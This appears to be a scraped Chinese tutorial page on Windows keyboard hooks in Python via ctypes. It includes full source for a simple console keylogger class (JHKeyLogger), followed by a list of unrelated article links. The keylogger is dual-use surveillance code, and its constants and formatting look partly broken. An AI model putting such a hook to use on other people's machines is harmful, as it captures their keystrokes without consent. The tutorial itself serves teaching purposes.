python 钩子函数
python 在windows下监听键盘按键
使用到的库
- ctypes(通过ctypes来调用Win32API, 主要就是调用钩子函数)
使用的Win32API
- SetWindowsHookEx(), 将用户定义的钩子函数添加到钩子链中, 也就是我们的注册钩子函数
- UnhookWindowsHookEx(), 卸载钩子函数
- CallNextHookEx()在我们的钩子函数中必须调用, 这样才能让程序的传递消息
在没有钩子函数的情况下windows程序运行机制
- 键盘输入 --> 系统消息队列 --> 对应应用程序的消息队列 --> 将消息发送到对应的窗口中
在有了钩子函数的情况下windows程序运行机制
- 键盘输入 --> 系统消息队列 --> 对应应用程序消息队列 --> 将消息发送到钩子链中 --> 消息一一调用完毕所有的钩子函数(需要调用CallNextHookEx函数才能将消息传递下去) --> 将消息发送到对应的窗口中
示例程序
- 注意:
- 在程序中, 我们通过CFUNCTYPE返回一个类对象, 通过该类对象可以实例化出我们需要的c类型的函数, 但是如果不将他放在全局的话则会失去效果, 因为在C语言中函数是全局的
# -*- coding: utf-8 -*-
import os
import sys
from ctypes import *
from ctypes.wintypes import *
"""
define constants
"""
WH_KEYBOARD = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162
class JHKeyLogger(object):
def __init__(self, user32, kernel32):
"""
Description:
Init the keylogger object, the property 'hook_' is the handle to control our hook function
Args:
@(dll)user32: just put windll.user32 here
@(dll)kernel32: just put windll.kernel32 here
Returns:
None
"""
self.user32_ = user32
self.kernel32_ = kernel32
self.hook_ = None
def install_hookproc(self, hookproc):
"""
Description:
install hookproc function into message chain
Args:
@(c type function)hookproc: hookproc is the hook function to call
Returns:
@(bool):
if SetWindowHookExA() function works successfully, return True
else return False
"""
self.hook_ = self.user32_.SetWindowsHookExA(
WH_KEYBOARD,
hookproc,
self.kernel32_.GetModuleHandleW(None),
0)
if not self.hook_:
return False
return True
def uninstall_hookproc(self):
"""
Description:
uninstall the hookproc function which means pick the hookproc pointer off the message chain
Args:
None
Returns:
None
"""
if not self.hook_:
return
self.user32_.UnhookWindowsHookEx(self.hook_)
self.hook_ = None
def start(self):
"""
Description:
start logging, just get the message, the current thread will blocked by the GetMessageA() function
Args:
None
Returns:
None
"""
msg = MSG()
self.user32_.GetMessageA(msg, 0, 0, 0)
def stop(self):
self.uninstall_hookproc()
def hookproc(nCode, wParam, lParam):
"""
Description:
An user-defined hook function
Attention:
here we use the global variable named 'g_keylogger'
"""
if wParam != WM_KEYDOWN:
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
pressed_key = chr(lParam[0])
print pressed_key,
# hit ctrl key to stop logging
if CTRL_CODE == lParam[0]:
g_keylogger.stop()
sys.exit(-1)
return g_keylogger.user32_.CallNextHookEx(g_keylogger.hook_, nCode, wParam, lParam)
# Attention: pointer must be defined as a global variable
cfunctype = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
pointer = cfunctype(hookproc)
g_keylogger = JHKeyLogger(windll.user32, windll.kernel32)
def main():
if g_keylogger.install_hookproc(pointer):
print 'install keylogger successfully!'
g_keylogger.start()
print 'hit ctrl to stop'
if __name__ == '__main__':
main()
python 钩子函数的更多相关文章
- Python 钩子函数详解
###### 钩子函数 ``` import pluggy hookspec = pluggy.HookspecMarker('aaa') hookimpl = pluggy.HookimplMark ...
- 让你轻松掌握 Python 中的 Hook 钩子函数
1. 什么是Hook 经常会听到钩子函数(hook function)这个概念,最近在看目标检测开源框架mmdetection,里面也出现大量Hook的编程方式,那到底什么是hook?hook的作用是 ...
- 【Flask】 python学习第一章 - 4.0 钩子函数和装饰器路由实现 session-cookie 请求上下文
钩子函数和装饰器路由实现 before_request 每次请求都会触发 before_first_requrest 第一次请求前触发 after_request 请求后触发 并返回参数 tear ...
- VueRouter和Vue生命周期(钩子函数)
一.vue-router路由 1.介绍 vue-router是Vue的路由系统,用于定位资源的,在页面不刷新的情况下切换页面内容.类似于a标签,实际上在页面上展示出来的也是a标签,是锚点.router ...
- python第六天 函数 python标准库实例大全
今天学习第一模块的最后一课课程--函数: python的第一个函数: 1 def func1(): 2 print('第一个函数') 3 return 0 4 func1() 1 同时返回多种类型时, ...
- Django forms组件与钩子函数
目录 一.多对多的三种创建方式 1. 全自动 2. 纯手撸(了解) 3. 半自动(强烈推荐) 二.forms组件 1. 如何使用forms组件 2. 使用forms组件校验数据 3. 使用forms组 ...
- ajax提交文件,django测试脚本环境书写,froms组件,钩子函数
1.在新版本中,添加app是直接在settings设置中,将INSTALLED_APPS里添加app名字, 但是他的完整写法是 'app01.apps.App01Config' 因为新版本做了优 ...
- [Django REST framework - 序列化组件、source、钩子函数]
[Django REST framework - 序列化组件.source.钩子函数] 序列化器-Serializer 什么是rest_framework序列化? 在写前后端不分离的项目时: 我们有f ...
- Pytest_Hook钩子函数总结(14)
前言 pytest 的钩子函数有很多,通过钩子函数的学习可以了解到pytest在执行用例的每个阶段做什么事情,也方便后续对pytest二次开发学习.详细文档可以查看pytest官方文档https:// ...
随机推荐
- 动态绑数据(Repeater控件HeaderTemplate和ItemTemplate)
前几天,Insus.NET有写了<动态绑数据(GridView控件Header和ItemTemplate)>http://www.cnblogs.com/insus/p/3303192.h ...
- Liunx在开机后,自动启动openldap、radius、memcached等程序的shell脚本
以下是脚本命令: #!/bin/bash #说明:此文件需放在/etc/rc.d/init.d/目录下,然后编辑文件/etc/rc.d/rc.local,在里面添加bash /etc/init.d/A ...
- linux 学习文档
1.nginx中文文档 http://www.nginx.cn/doc/
- unity googleplay随手记
googleplay设置 进入play console后可以发布应用 点击所有应用->创建应用(这部经常报错误码,多试几次就ok可能和vpn有关) 创建一个应用成功后,这个应用就会包含上面所有选 ...
- poj3167(kmp)
题目链接: http://poj.org/problem?id=3167 题意: 给出两串数字 s1, s2, 求主串 s1 中的 s2 匹配数并输出每个匹配的开头位置. 区间 [l, r] 是 s2 ...
- springboot结合swagger生成接口文档
原文链接:https://www.cnblogs.com/xu-lei/p/7423883.html https://www.jianshu.com/p/b9ae3136b292 前后台分离的开发渐渐 ...
- Oracle中merge into语法
merge into 语句就是insert和update的一个封装,简单来说就是: 有则更新,无则插入 下面说怎么使用 MERGE INTO table_Name T1(匿名) using (另外一 ...
- Leetcode 283. Move Zeroes 移动数组中的零 (数组,模拟)
题目描述 已知数组nums,写一个函数将nums中的0移动到数组后面,同时保持非零元素的相对位置不变.比如已知nums=[0,1,0,3,12],调用你写的函数后nums应该是[1,3,12,0,0] ...
- 数据结构28:广义表及M元多项式
广义表,又称为列表.记作: LS = (a1,a2,…,an) ;( LS 为广义表的名称, an 表示广义表中的数据). 广义表可以看作是线性表的推广.两者区别是:线性表中的数据元素只能表示单个数据 ...
- Eclipse 创建Maven 项目
https://www.cnblogs.com/noteless/p/5213075.html